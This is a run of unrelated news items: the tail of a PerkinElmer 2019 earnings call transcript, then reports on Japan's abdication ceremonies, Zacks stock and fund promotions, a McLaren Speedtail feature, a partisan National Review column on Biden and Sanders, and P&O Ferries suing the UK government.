strained growth rates we have expanded the business and that's happening because we are adding new test menus with lysosomal disorders and NeoBase two approvals that have come through. And similarly, on the applied genomics side and EUROIMMUN, we see good traction for those product portfolio in emerging markets. So I think it's a combination of both. Luke Sergott -- Evercore -- Analyst Okay. That's helpful. Thank you. Operator -- Thank you. And our next question comes from Derik DeBruin with Merrill Lynch. Your line is now open. Savi -- Merrill Lynch -- Analyst This is Savi [ph] on for Derik today. Thank you for the questions. So first question is for the applied market. So I know -- I appreciate the color provided so far, but then some of your competitors caught out some choppiness in the food market, particularly in China. Just wondering if you've seen any of that? If so, when can we expect that to go away? Thanks. Robert F. Friel -- Chairman and Chief Executive Officer Yes. I would say we probably saw some of that in China. But quite frankly, one of dynamics that are going on in the China market right now as you probably heard from our competitors as well is there is some shifting in testing going from government labs to more private-based labs. And a lot of these private-based labs do more than food. So they will test for environmental and they'll test for food and they may do other types of things. So quite frankly for our first quarter in particular, there may be noise in sort of was it environmental lab or was it a food lab. And so we're still trying to get better color behind that. But clearly, we've seen a little bit of a reduction in food testing as the shift has occurred from public labs to private labs. But we do think it's somewhat temporary and as we think about food for 2019, we expect it will continue to do strong growth in China. Savi -- Merrill Lynch -- Analyst Okay, that's very helpful. Just a follow-up. I apologize if I missed it earlier. Just wanted to get more color on the pacing for the rest of the year. So, anything that we should think about for the rest of the quarters regarding organic growth and margin trends throughout the year just given the more difficult comps? Thank you. Robert F. Friel -- Chairman and Chief Executive Officer No, I mean as we think about the first quarter, it came in pretty much as we expected. And so we'd say that we think the year is going to play out pretty much as we expected which will be a little stronger growth in the back half. We talked a little bit about that earlier. So, we think our back half organic growth is probably in the 6.5%, 7% range. And then as we think about operating margin expansion, we also think that's a little heavier in the back half. So, if you think about maybe 100 basis points or so in the first half and then stronger growth in the back half so that we average that 120 to 150 for the year. Again that's very consistent with what we talked about in January. Savi -- Merrill Lynch -- Analyst Great, thanks. Operator -- Thank you. And our next question comes from Dan Brennan with UBS. Your line is now open. Tim -- UBS -- Analyst Thanks. This is Tim on for Dan. Would you be able to get a little more granular about your applied growth? I know it's low single-digits in the quarter but could you maybe give us a breakout of the industrial versus environmental versus food? Robert F. Friel -- Chairman and Chief Executive Officer So, industrial and environmental, we really don't sort of breakdown. And again part of that is it's becoming increasingly more difficult with our customer base is it really definitively defined what's being done on from an environmental testing perspective on what's been testing for other things. So, we've sort of put those together. But if you look at industrial and food we think that was sort of low to mid-single-digits. And as I mentioned before food was down largely outside the US. US is very strong sort of mid-teens. And if you look at it from a geographic perspective applied was sort of mid-singles in Americas up sort of low to mid-single depending on how you consider the government control the product and Europe was down a little bit. So, low single-digits. Tim -- UBS -- Analyst Okay, great. And could you talk a little bit about Cisbio, just in terms of your overall M&A strategy going forward. Do you see other deals of this size, kind of in the pipeline was this a particularly competitive deal. Is this an area where you think you might continue to focus. Just give us a little bit more color there ? Robert F. Friel -- Chairman and Chief Executive Officer So, I would say generally our M&A strategy is sort of consistent with the overall company strategy which is we're trying to drive from an end market perspective into the more attractive end market for us which we think are life sciences food and diagnostics. So, those are areas that we think are very attractive because of the growth profile and also because we think we have some differentiated capabilities in those markets. We're also looking to continue to expand our capabilities globally. So, we've over the last couple of years been focused largely on emerging market growth. And then I would say the third aspect of it is we want to continue to drive our growth into areas that facilitate a workflow. So, obviously, we sell instruments we want to continue to build out our reagent assay and consumable as well as our informatics. So, that's the fundamental larger strategy that we're focusing on. Cisbio hit most, if not all those, obviously, provide a very strong capability in assays increased our exposure to the pharma and biotech market. And while they weren't significant in emerging markets, we think their capability combined with our distribution capability will be able to expand emerging market presence in the drug discovery space. Tim -- UBS -- Analyst Thank you. Operator -- Thank you. And our next question comes from Tycho Peterson with JPMorgan. Your line is now open. Tycho Peterson -- JP Morgan -- Analyst Hey, thanks, Rob. I guess on year-on-year and I know you said double-digit growth. Can you just talk to how that compares full year guidance of 13% to 15%. And can you say just maybe unpack China, Germany with the moderation versus US and other emerging markets? Robert F. Friel -- Chairman and Chief Executive Officer Yes. So, EUROIMMUN pretty much came on track is what we expected. So, I would say EUROIMMUN when I think about the first quarter revenue was pretty much on. And we sort of mention this a little bit in the prepared remarks. We were pleasantly surprise on the operating margin side. They had a nice pickup in operating margin. Some of that is probably timing, because they sold a little less instruments in the quarter-no, sold a little bit more. But we think a lot of it is just better cost focus and cost management. And so we're excited about that, because we think that is one of the big levers to margin expansion as we started thinking about 2019, 2020 and 2021. So I think that's good. With regard to China and Germany, you're talking specifically for EUROIMMUN or for PerkinElmer? Tycho Peterson -- JP Morgan -- Analyst EUROIMMUN? Robert F. Friel -- Chairman and Chief Executive Officer Okay. So EUROIMMUN had another strong quarter in China, and it was up sort of mid-teens something like that. Maybe even a little bit better than that. I don't know Germany offhand. I can tell you sort of Europe was sort of mid-single. Tycho Peterson -- JP Morgan -- Analyst Okay. And then, on Vanadis, just curious about utilization at some of your early customers? And as we think about how many biochemicals within the labs have enough volume to achieve the EUR100 cost per test? Can you maybe just talk to how you plan to penetrate some of the lower volume labs? Prahlad Singh -- President and Chief Operating Officer Yeah. Tycho, this is Prahlad. So the labs that we are focusing on right now, and obviously labs that have larger than, let's say, on average 5,000 tests, and that's where we are seeing a lot of interest coming in from. I think in some of the places or some of the countries where you would have lower volumes. We would probably look at either centralizing it to one lab there that could attract. And there are also facilities where we have our own labs. So that's in Kuala Lumpur or India or in the U.S. where we would look at putting Vanadis. Tycho Peterson -- JP Morgan -- Analyst Okay. Jamey Mock -- Senior Vice President and Chief Financial Officer Tycho, just to clarify quickly with high single-digit in Europe. Tycho Peterson -- JP Morgan -- Analyst Okay. And then, just last one. It came out in the K. I think you guys had about a point benefit 1.3% organic growth from the ASC 606 switch last year. So as we think about that and the context of the underlying organic growth. Are you still comfortable with kind of the high-single-digit targets, that you put out there and the path to get there? Jamey Mock -- Senior Vice President and Chief Financial Officer Yeah. We are, Tycho. And just to maybe explain that change last year. I mean the new revenue guidance enabled us to do some things operationally and commercially that we chose to do that was -- we are able to recognize revenue under 606 and we wouldn't have been able to under 605. But had 606 not coming around we still would have -- we just wouldn't have made those changes, and still had relatively the same amount of revenue growth year-over-year. Operator -- Thank you. And our next question comes from Dan Leonard with Deutsche Bank. Your line is now open. Mike Sarcone -- Deutsche Bank -- Analyst Hey, guys. This is Mike Sarcone on for Dan Leonard. Just a few questions on EUROIMMUN. You had mentioned you're targeting 50% market share in the U.S. by the end of the year. Can you just tell us where you're starting from in terms of market share heading into 2019, and then maybe your confidence level around getting to 50%? Prahlad Singh -- President and Chief Operating Officer I think just to give you a sense, I think on -- and this is again just to be specific around the autoimmune screening business. We would say that we are somewhere around 30%. And with some of the new forays that we have made in the lab, we think that by the end of the year we'll get to about 50% autoimmune screening. Mike Sarcone -- Deutsche Bank -- Analyst Got it. And one more on EUROIMMUN. I think on the last conference call you said, you had in the US about 50 tests approved. Where do you stand today? Prahlad Singh -- President and Chief Operating Officer Yeah, I think we are a slightly lower 60 now. Mike Sarcone -- Deutsche Bank -- Analyst Okay, thank you. Operator -- Thank you. I'm not showing any further questions at this time. I would now like to turn the call back over to Robert Friel for any closing remarks. Robert F. Friel -- Chairman and Chief Executive Officer Well, great. Well, first of all thank you for your questions and your interest in PerkinElmer. So we think we're off to a great start this year to continue to drive our mission and continue to create value for our customers, shareholders, and employees. I look forward to updating you on our progress in the coming quarters. Thanks again for joining the call, and I hope everyone has a great evening. Operator -- Ladies and gentlemen, thank you for participating in today's conference. This does conclude today's program. And you may all disconnect. Everyone have a wonderful day. Duration: 51 minutes Call participants: Operator -- Bryan Kipp -- Vice President of Investor Relations Robert F. Friel -- Chairman and Chief Executive Officer Prahlad Singh -- President and Chief Operating Officer Jamey Mock -- Senior Vice President and Chief Financial Officer Stephen Willoughby -- Cleveland Research -- Analyst Patrick Donnelly -- Goldman Sachs -- Analyst Chris McCabe -- Cowen and Company -- Analyst Brandon Couillard -- Jefferies -- Analyst Paul Knight -- Janney -- Analyst Dan -- Piper Jaffray -- Analyst Mitchell Petersen -- Barclays -- Analyst Luke Sergott -- Evercore -- Analyst Savi -- Merrill Lynch -- Analyst Tim -- UBS -- Analyst Tycho Peterson -- JP Morgan -- Analyst Mike Sarcone -- Deutsche Bank -- Analyst More PKI analysis Transcript powered by AlphaStreet This article is a transcript of this conference call produced for The Motley Fool. While we strive for our Foolish Best, there may be errors, omissions, or inaccuracies in this transcript. As with all our articles, The Motley Fool does not assume any responsibility for your use of this content, and we strongly encourage you to do your own research, including listening to the call yourself and reading the company's SEC filings. Please see our Terms and Conditions for additional details, including our Obligatory Capitalized Disclaimers of Liability. More From The Motley Fool Motley Fool Transcribers has no position in any of the stocks mentioned. The Motley Fool has no position in any of the stocks mentioned. The Motley Fool has a disclosure policy. Japan has waited more than two centuries for an emperor to abdicate, but the main ceremony to perform the ritual will take a mere 10 minutes. The solemn rite will take place at precisely 5:00 pm local time (0800 GMT) on April 30 in the 370-square-metre "Matsu-no-Ma" (Room of Pine), considered the most elegant hall in the sumptuous Imperial Palace. It is the only room with wooden floors -- made from Japanese zelkova trees -- rather than carpet, and the walls are covered with fabric featuring raised pine-leaf motifs. The ceremony will be conducted in the presence of an ancient sword and jewel -- part of the imperial regalia -- considered crucial evidence of an emperor's legitimacy. The sword and jewel will be brought in boxes into the room but a third element of the regalia, a sacred mirror, never leaves its sanctuary in the palace. More than 300 people are expected to attend, including royals, government and parliament leaders, top judges, heads of local governments and their spouses. Around a dozen royals are due to be present. Prime Minister Shinzo Abe will come forward and make a speech representing the people, before Akihito delivers his final official address as emperor. This is the last occasion the emperor will meet representatives of the people before he abdicates. Technically, Akihito remains emperor until the clock strikes midnight. - 'Beautiful harmony' - Naruhito's ascension to the Chrysanthemum Throne on the stroke of midnight on May 1 marks the start of his new imperial era, named "Reiwa" or "beautiful harmony", to replace his father's "Heisei". The initial set of enthronement ceremonies takes place in the same Matsu-no-Ma at 10:30 am on May 1 and are also very short. During the first ceremony, the new emperor will inherit the sword, the jewel and the royal seals. Again, the sacred mirror remains in the sanctuary but this time, an envoy is sent to offer a ritual prayer before it. This represents the emperor "inheriting" the mirror. Story continues The emperor does not speak in this 10-minute ceremony, which is off-limits to female royals. Shortly afterwards, at 11:10 am, Naruhito will take part in another ceremony in which he will pronounce his first speech as emperor. Again, Abe will speak on behalf of the people. The new emperor greets well-wishers from a glass-covered balcony on May 4 but is then likely to keep a low profile until the autumn. On October 22, he will formally proclaim the enthronement with 2,500 participants from Japan and abroad in an official ceremony, followed by a motorcade through central Tokyo. In these spring ceremonies, male royals are expected to wear Western-style coats and the women full-length dresses. They will don traditional palace costumes for the autumn ceremonies and rites. Pinnacle West Capital Corporation PNW is scheduled to release first-quarter 2019 results on May 1, before the opening bell. In the last quarter, the company delivered a positive earnings surprise of 35.29%. What Does the Zacks Model Say? Our proven model shows that Pinnacle West is likely to beat estimates as it has the right combination of two key ingredients. A stock needs to have a positive Earnings ESP and a Zacks Rank #1 (Strong Buy), 2 (Buy) or 3 (Hold) for this to happen. You can see the complete list of todays Zacks #1 Rank stocks here. Earnings ESP: The company has an Earnings ESP of +1.41%. You can uncover the best stocks to buy or sell before theyre reported with our Earnings ESP Filter. Pinnacle West Capital Corporation Price and EPS Surprise Pinnacle West Capital Corporation Price and EPS Surprise | Pinnacle West Capital Corporation Quote Zacks Rank: Pinnacle West currently carries a Zacks Rank #2. The combination of Pinnacle Wests Zacks Rank #2 and +1.41% ESP makes us reasonably confident of an earnings beat in the upcoming quarterly results. We caution against Sell-rated stocks (#4 or 5) going into the earnings announcement, especially when the company is witnessing negative estimate revisions. Factors at Play Pinnacle West anticipates Metro Phoenix housing market to expand faster than the national average on solid job and income growth. The company alsoexpects housing permitsto continue the upward trend in 2019. We expect these factors to positively impact the to-be-reported quarters results. Steady improvement in economic conditions, positive customer growth and disciplined cost management will aid Pinnacle West to deliver solid first-quarter results. Q1 Expectation The Zacks Consensus Estimate for the first-quarter earnings is pegged at 18 cents, indicating an improvement of 50% in the past 30 days. Other Stocks to Consider Investors can also consider some other stocks from the same sector which also have the right combination of elements, to post an earnings beat in the to-be-reported quarter. Story continues ONE Gas, Inc OGS has an Earnings ESP of +0.92% and a Zacks Rank #2. The company is expected to release first-quarter 2019 results on Apr 29. ONEOK, Inc. OKE has an Earnings ESP of +3.04% and a Zacks Rank #3. The company is expected to release first-quarter 2019 results on Apr 30. Exelon Corporation EXC has an Earnings ESP of +0.46% and a Zacks Rank #3. The company is expected to release first-quarter 2019 results on May 2. Zacks' Top 10 Stocks for 2019 In addition to the stocks discussed above, would you like to know about our 10 finest buy-and-holds for the year? Who wouldn't? Our annual Top 10s have beaten the market with amazing regularity. In 2018, while the market dropped -5.2%, the portfolio scored well into double-digits overall with individual stocks rising as high as +61.5%. And from 2012-2017, while the market boomed +126.3, Zacks' Top 10s reached an even more sensational +181.9%. See Latest Stocks Today >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Exelon Corporation (EXC) : Free Stock Analysis Report Pinnacle West Capital Corporation (PNW) : Free Stock Analysis Report ONE Gas, Inc. (OGS) : Free Stock Analysis Report ONEOK, Inc. (OKE) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research NEW YORK (AP) The United Methodist Church's judicial council has upheld major portions of a new plan strengthening bans on same-sex marriage and ordination of LGBT pastors. Conservatives welcomed the decision Friday and said key elements of the policy, called the Traditional Plan, could begin taking effect in January. Among liberal and centrist opponents of the plan, there was dismay. One group, Reconciling Ministries Network, called for an upsurge of resistance. The Traditional Plan was adopted in February on 438-384 vote by delegates at a special UMC conference in St. Louis. Most U.S.-based delegates opposed that plan and preferred LGBT-inclusive options, but they were outvoted by U.S. conservatives who teamed with most of the delegates from Methodist strongholds in Africa and the Philippines. Plans are underway for a multi-story development at the site of the 2002 Bali bombings that killed 202 people, Indonesian authorities said Friday, a decision that has angered neighbouring Australia which lost dozens of citizens in the attacks. Some 88 Australian nationals were killed in the Bali bombings after radical Islamists detonated explosives outside the US consulate and two popular night spots on the Indonesian resort island, killing mostly Western holidaymakers. Developers were granted permission to build on the site of the destroyed Sari Club in December last year, said Made Agus Aryawan, head of the local investment board. "This land belongs to an individual, its private property," Aryawan told AFP. "We cannot stop the owner from using it and regulations allow him to do so." The decision has been slammed in Australia, with Prime Minister Scott Morrison calling it "deeply distressing". Morrison, whose struggling centre-right government is up for election in several weeks' time, said Canberra was working with Indonesian authorities to resolve the issue. Australia suffered the highest number of casualties in the explosions, which were the worst peacetime attacks on its citizens. Local terror network Jemaah Islamiyah (JI) was blamed for the bombings in which people from at least 21 countries, including 38 Indonesians, were killed. Aryawan said the vacant lot in the heart of bustling Kuta had been empty since 2002 and the permit would be valid for 30 years. The five-storey complex will include a restaurant, offices and monument on the top floor, community leader I Gusti Agung Made Agung told AFP. "I know many Australians died," said Agung, from Kuta's Institute for Community Empowerment. "But if they wanted to build a memorial, they should have bought the lot." In the elite strata of the supremely wealthy, its not about what you possess. Its about the experience you go through to acquire that item. Thats what McLaren CEO Mike Flewitt believes and, if youre fortunate enough to be one of the 106 customers subscribed for the forthcoming Speedtail hypercar, that philosophy manifests as a secret James Bond-style lair nestled within the companys Woking, England headquarters where your dream design specifications become a $2.6 million reality. We didnt get to visit that covert oasis within McLaren, though its rumored that youd amble right past unless you knew it was there. A perfectly placed wave of the hand in front of a wall is required to unlock the hidden door, and only 10 Speedtail customers have been welcomed inside, commencing their journey to owning one of the most coveted McLarens since the iconic F1. But McLaren brought a bit of the design magic to Geneva during this years international motor show and let us design a Speedtail. Related stories "I'm Like a Therapist": Meet the Matchmaker Who Pairs Homeowners With Their Perfect Designer 4 Easy Ways to Transform Your Home, According to "Queer Eye"'s Bobby Berk The Design World Is Stuck in the Past--and It's Starting to Get Very Old The conference room in Genevas Intercontinental Hotel contained plenty of glistening paint samples, sumptuous leather swatches, shimmering carbon fiber pieces and even a hefty platinum badge example, valued at around $56,000. It also housed a Speedtail, artfully specd by the master, Jo Lewis, McLarens head of color and material design for McLaren. Its under her exemplary eye and thoughtful guidance that any vision for the 1,035-horsepower, 250-mph, three-seater hybrid evolves into a finished custom creationthat is, after an initial three-hour consultation. The conference room in Genevas Intercontinental Hotel contained plenty of glistening paint samples, sumptuous leather swatches, shimmering carbon fiber pieces and even a hefty platinum badge example, valued at around $56,000. It also housed a Speedtail, artfully specd by the master, Jo Lewis, McLarens head of color and material design for McLaren. Its under her exemplary eye and thoughtful guidance that any vision for the 1,035-horsepower, 250-mph, three-seater hybrid evolves into a finished custom creationthat is, after an initial three-hour consultation. Story continues Lewis explained that the paint materials and finishes for every element of the Speedtail were defined ahead of the vehicles design, as each component informed the design. Everything must have a reason for being included, Lewis shared, citing one of McLarens chief design principles. All vehicles are to be considered functional jewelry. What we make must be beautiful. The look and feel of the vehicle must match its purpose. When crafting a future concours winner, bravery and innovation from the design department are requisites, as is considering how the vehicle will engage all the customers senses. Thats rather specific to materials design, Lewis said. Thats an area where the owner can get emotionally connected to the car. When youre handed various samples, its easy to get deeply invested in the outcome of your hyper grand tourer. Its also overwhelming. For example, with the carbon fibera material McLarens renowned for pioneering in road carsyou can leave it stock or have titanium fibers woven in, and those can be 24-karat gold or champagne colored or any other hue. Likewise, when the leathers are presented, your head begins to spin. You can have traditional leathers, patinated leathers, or even leathers that are engineered by McLaren to add air to the substrate, making it 30 percent lighter, to keep with the overall lightweight story of the Speedtail. Of course, all of it can be dyed or painted any desired color. With myriad options, hows one to know what the various configurations will look like? Enter a gentleman manning several computer screens running software called Unreal Engine. He deftly combines various selections into a very realistic 3-D model within seconds. With limited time, journalists were batched into groups to collectively spec the Speedtail. Our quartet aimed at an aesthetic theme of rockstar, which entailed purple exterior paint and green and cream leather interior. A lighter grey carbon fiber was selected, and a bright white trim was applied to the edges of the carbon and some of the body panels. The gentleman synthesized all of this into a rendering of our car within minutes. The finished vision indeed exuded the over-the-top ethos of a rockstar, but lacked cohesiveness and class, as evidenced by Lewiss grimace upon sight of our creation. After a pause, she issued the perhaps harshest rebuke a British person could: Ah, thats certainly something. (Another group of journalists drew the highest praise from LewisBrilliant!after displaying a cream exterior over gold-infused carbon fiber with a maroon and cream interior.) Its quite hard, Lewis admitted afterwards, noting nearly all of McLarens customers exercise reasonably good taste during spec sessions. She could only recall one instance in which she had to politely steer a client away from a color. He was so adamant and really ecstatic about itand it was poo brown, she laughs. But thats the thing about design and color; its so subjective. When McLaren first invited prospective clients to the unveiling of the Speedtail, it was in a swanky London hot spot, and all that was shown was a sketch of the car. Still, with only 106 vehicles available, a sizable amount of the individuals plunked down a six-figure deposit on the spot. Months later, when they were treated to sight of the actual vehicle, within seconds of removing the cloth to reveal the car, they already had ideas. One told me he was doing orange, Lewis shared, adding others inquired about how to port over specs of their P1s to the Speedtail. Another asked if he could buy the exact spec Lewis created, a light blue hue with a white interior. What about when youre not sure what you want? We send an inspiration book, Lewis explained. Before the holidays, Lewiss team came up with 10 specs around various themes, bundled it all together in a beautiful package and shipped it off to customers. They can get a sense of whats possible, and when they come for the initial meeting, they can tell us I love this theme, but Id like to try this instead of that. Some customers enter the lair with five ideas and leave the session still mulling it all over. Lewiss aim is to help hone in on one or two so follow-up meetings can be more productive. If they have a loose idea, well help create a mood board and give them samples to consider. We try to always start with the exterior, and thats really getting into carbon fiber and paint selection. If you can nail that down, it helps everything flow. The interior will be more harmonious if youve locked the exterior first. In this elevated circle, owners often know each other and sometimes will inquire about what others are selecting. Competitively, most want to surprise and dazzle so Lewis is careful to avoid sharing any identifying details, which is a delicate balancing act given that McLaren wants all 106 finished examples to be different. Based on some of the requests Lewis is fielding, that likely wont be an issue. This vehicle costs 2 million, and its a chance to truly indulge in precious materials, befitting of such a car, Lewis said. Accordingly, when one customer asked to include crushed diamonds in the paint, McLaren replied that wouldnt be an issue, and will buy the diamonds, pulverize them and add the dust to the paint. Another client loved a specific point in the day when the sun was setting over the dew-hewn grass at his vacation home in the Alps and sent a photographer to capture that precise moment. He asked for paint in that exact shade of the grass and McLaren matched it from the picture. Thankfully, Lewis doesnt have to discuss the financial particulars for these bespoke pursuits. We tell them anything is possible and figure out a way to make it so, she said, but our McLaren Special Operations division actually delivers the bill. Sign up for Robb Report's Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. Unlike the proverbial fairytale romance story, there was no love at first sight for Kenyan actress Daisy Odeko Netia, famed for her role as Naliaka in comedy drama Papa Shirandula. According to Daisy, sparks didnt fly when she first met the man who would turn out to be her future husband, Justus Netia. Speaking in a recent interview on TV, Daisy said she was dusty having gone on a work trip and didnt expect to catch anyones attention. When I first saw him I did not feel anything because we were going on a work trip and I was very dusty that I did not think anyone would notice me, said Naliaka. However, Mr Netia had his eyes on the prize and even took photos of her, which he used to warm up to her. He finally shared the snaps with Daisy after one year. It was really hard to get her. Having her photos gave me a chance because she kept asking for them, he said. At some point, Netia gave up and even deleted her phone number, but things worked out in the end. She was beautiful and I wanted us to be friends but it was an uphill task winning her over, Justus said. Daisy added, I took long before dating him because I wanted a relationship that would lead to marriage. Justus got a job in Nigeria but the two kept in touch, and as they say, the rest is history. I told her my intentions but she told me to go for the job as planned and promised me that we would talk later, he said. Daisy eventually said yes to him. They have been married for almost three years and were blessed with a son who is one and a half years old. Joe Biden is being talked up as not only the man who can beat Donald Trump but also the one who can beat Bernie Sanders, which many Democrats see as the first order of business. Theres one problem with that: Biden is Bernie Sanders. Old white guy? Joe Biden has hair plugs that are older than the median Democratic primary voter. Sanders and Biden are a year apart and both of them are older than Trump. Creaky? Creepy stuff in his history? Dusty northeastern union-hall politics? Check all those boxes. Worst: Sanders and Biden, though they are miles apart in rhetoric, are in many ways a couple of outmoded Teddy Kennedy liberals in a party that wants nothing to do with dinosaurs of that particular species. Dont bet the farm on either one of them. Biden is a weird, handsy phony who has been in political office since before I was born, a mediocrity who topped out as vice president to the most insipid nonentity to occupy the Oval Office since Warren G. Harding and made him look good by comparison. The first time Biden ran for president, I was in junior high. (Go, Rangers!) Hes a hack, a hapless, feckless lifer whose Regular Joe on the Amtrak shtick is a ridiculous joke. Hes shameless, once telling a black audience that Republicans plan to put yall back in chains, affecting a quasi-southern black-ish accent. (Do white people say yall a lot in Scranton?) He apparently had considered launching his presidential campaign in Charlottesville, Va., but someone thought better of it. He cited the violence there as his main reason for running for president as though he hadnt been running for decades. He didnt even have the decency to make a pro forma phone call to the family of Heather Heyer, who was killed on that horrible day in Charlottesville, before cynically instrumentalizing her death. They capitalize on whatever situation is handy, said Susan Bro, Heyers mother. At least Robert Francis ORourke mounts restaurant counters and not tombs. Story continues Is Biden the anti-Sanders? Not really. Sanders, for all his notional radicalism, seems like something new mainly because he is so retro: one part SNCC doofus, one part milquetoast Norman Mailer imitator, which is what all that weird rape-fantasy political porn on his resume is about that stuff was fashionable back in the days when the author of The Naked and the Dead was running for office. A cultural creature of the 1970s, Sanders is very much of a piece with the post-LBJ Democratic party: Hes what Howard Dean would be if Howard Dean had grown up on East 26th Street in Brooklyn instead of on Park Avenue. The old-white-guy thing isnt working out too well for Sanders. In Houston earlier this week for a cracked festival of progressive inanity called She the People, Sanders got read the old-white-guy riot act: Pressed about racial issues, Comrade Muppet started to launch into yet another retelling of the fact that he marched with the Reverend Martin Luther King Jr. in 1963 but the crowd shut him down, hooting and laughing at him. We know! someone shouted. Theyd heard it all before. Sanders, visibly flummoxed, went on to talk up the fact that hed supported Jesse Jacksons presidential campaign, and the room responded with, approximately, Jesse Who? The Reverend Jacksons is a name to conjure with no more. The Democratic party has reached a generational cleavage. Sanders doesnt seem like the kind of rascal who would have joined Ted Kennedy and Chris Dodd in whipping up a waitress sandwich at La Brasserie he is a rascal of a different sort but hes part of the same generation. He is old and white in a party whose future isnt. Hes part of the cohort of aging liberals who are still trying to figure out whether theyre supposed to say transsexual or transgender, not trailblazing in search of that elusive 72nd gender identity. The politics here should be familiar. Republicans settled on Donald Trump in 2016 because they wanted a national repudiation of Barack Obama and all he stood for, and Trump was and is the social and cultural antithesis of the Obama type. Republicans did not want Democrats to suffer a mere political defeat in 2016 but to suffer a humiliating rejection, and Democrats helped things along by giving the public a very easy candidate to reject. Democrats going into 2020 are where Republicans were going into 2016: They dont just want Trump out of office theyre pretty sure (maybe too sure) that theyre going to get that in any case. They want him shamed, they want those around him shamed, and they want the country to make an executive gesture that says, in essence, Never again. And replacing Trump with another rich old white guy would not pack the symbolic punch that Democrats want, even if one of them calls himself a socialist from time to time. Alexandria Ocasio-Cortez has never uttered an original thought in all of her brief public career; shes only interesting as a point of comparison to the man upon whom Democrats are for the moment fixated: not Biden, not Sanders, but Trump. The lady from the Bronx is too young to run this time around, but Democrats have a lot to choose from: an actual woman of color, a fake professor of color, a gay man, a black man, a Hispanic man under 50. What, exactly, does Joe Biden bring to that particular game of intersectionality roulette? Or Bernie Sanders? Biden probably shouldnt worry too much about beating Sanders. And Sanders probably shouldnt worry too much about beating Trump. Anythings possible in a presidential election, but if the best Joe Biden can say for himself is that he isnt Bernie Sanders that hes the other white meat he isnt saying much. More from National Review On the lookout for an Allocation Balanced fund? Starting with Plumb Balanced (PLBBX) is one possibility. PLBBX carries a Zacks Mutual Fund Rank of 1 (Strong Buy), which is based on nine forecasting factors like size, cost, and past performance. Objective The world of Zacks' Allocation Balanced funds is an area filled with options, such as PLBBX. These funds like to invest in a variety of asset types, finding a balance between stocks, bonds, cash, and sometimes even precious metals and commodities; they are mostly categorized by their respective asset allocation. For investors, Allocation Balanced funds can provide an entry point into diversified mutual funds, and present core holding options for a portfolio of funds. History of Fund/Manager PLBBX finds itself in the Wisconsin Cap family, based out of Madison, WI. Since Plumb Balanced made its debut in May of 2007, PLBBX has garnered more than $97.04 million in assets. Thomas G. Plumb is the fund's current manager and has held that role since May of 2007. Performance Of course, investors look for strong performance in funds. PLBBX has a 5-year annualized total return of 9.11% and it sits in the top third among its category peers. Investors who prefer analyzing shorter time frames should look at its 3-year annualized total return of 13.68%, which places it in the top third during this time-frame. When looking at a fund's performance, it is also important to note the standard deviation of the returns. The lower the standard deviation, the less volatility the fund experiences. Compared to the category average of 7.14%, the standard deviation of PLBBX over the past three years is 9.88%. Looking at the past 5 years, the fund's standard deviation is 9.23% compared to the category average of 7.27%. This makes the fund more volatile than its peers over the past half-decade. Risk Factors Investors should always remember the downsides to a potential investment, and this segment carries some risks one should be aware of. In PLBBX's case, the fund lost 37.08% in the most recent bear market and underperformed its peer group by 0.67%. These results could imply that the fund is a worse choice than its peers during a sliding market environment. Story continues Investors should not forget about beta, an important way to measure a mutual fund's risk compared to the market as a whole. PLBBX has a 5-year beta of 0.76, which means it is likely to be less volatile than the market average. Alpha is an additional metric to take into consideration, since it represents a portfolio's performance on a risk-adjusted basis relative to a benchmark, which in this case, is the S&P 500. Over the past 5 years, the fund has a positive alpha of 0.64. This means that managers in this portfolio are skilled in picking securities that generate better-than-benchmark returns. Holdings Investigating the equity holdings of a mutual fund is also a valuable exercise. This can show us how the manager is applying their stated methodology, as well as if there are any inherent biases in their approach. For this particular fund, the focus is largely on equities that are traded in the United States. The mutual fund currently has 95.83% of its holdings in stocks, with an average market capitalization of $145.43 billion. The fund has the heaviest exposure to the following market sectors: Other Technology Turnover is about 37%, so those in charge of the fund make fewer trades than the average comparable fund. Expenses As competition heats up in the mutual fund market, costs become increasingly important. Compared to its otherwise identical counterpart, a low-cost product will be an outperformer, all other things being equal. Thus, taking a closer look at cost-related metrics is vital for investors. In terms of fees, PLBBX is a no load fund. It has an expense ratio of 1.17% compared to the category average of 0.88%. PLBBX is actually more expensive than its peers when you consider factors like cost. This fund requires a minimum initial investment of $2,500, and each subsequent investment should be at least $100. Bottom Line Overall, Plumb Balanced ( PLBBX ) has a high Zacks Mutual Fund rank, strong performance, average downside risk, and higher fees compared to its peers. Your research on the Allocation Balanced segment doesn't have to stop here. You can check out all the great mutual fund tools we have to offer by going to www.zacks.com/funds/mutual-funds to see the additional features we offer as well for additional information. If you are more of a stock investor, make sure to also check out our Zacks Rank, and our full suite of tools we have available for novice and professional investors alike. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Get Your Free (PLBBX): Fund Analysis Report To read this article on Zacks.com click here. The white cliffs of Dover sit beyond the Pride of Burgundy, a cross-Channel passenger and freight ferry operated by P&O Ferries. Photo: Chris Ratcliffe/Bloomberg via Getty Images P&O Ferries is suing the government over its handling of no-deal Brexit ferry contracts. P&O confirmed in a statement to Yahoo Finance UK that it is taking legal action related to a 33m payment made to rival Eurotunnel, which it claims puts it at a competitive disadvantage. The case relates to the bungled awarding of no-deal Brexit ferry contracts by the Department for Transport, which embarrassed the government internationally. Last year transport minister Chris Grayling awarded a series of contracts to run emergency ferry services to and from the UK in the event of a no-deal Brexit. The awards included a 13.8m contract to a small company with no ferries that had copied its website terms of services from a takeaway website. Eurotunnel sued the Department of Transport in February over what it said was a secretive and flawed procurement process. The government eventually settled the case with a 33m payment to Eurotunnel. However, P&O claim in their case that this settlement is unfair. We have repeatedly made clear during decades of providing vital transport services between Britain and the Continent that we are happy to compete with other providers on a level playing field. We also fully accept that it was prudent of the Government to make contingency plans to protect international supply chains in the event of a hard Brexit, a spokesperson for P&O said. "However, we do not believe that the payment of 33m of public money to Eurotunnel to settle its legal challenge to these plans is fair or reasonable. It is explicitly designed to be invested in the tunnel's infrastructure and if left unchallenged would put our services at a competitive disadvantage." The legal case threatens to increase the cost of an already expensive episode for the government. As well as the 33m payout to Eurotunnel, the Financial Times reported that delaying Brexit beyond 29 March could cost the government an additional 28m due to the wording of the contracts. The fall-out from the contracts has also caused embarrassment for the government internationally, with the New York Times using it as a key example in a profile of the transport minister titled: How Does He Survive? The Curious Case of Failing Grayling. XYLIANTOS (Cyprus) (AFP) - Cypriot authorities on 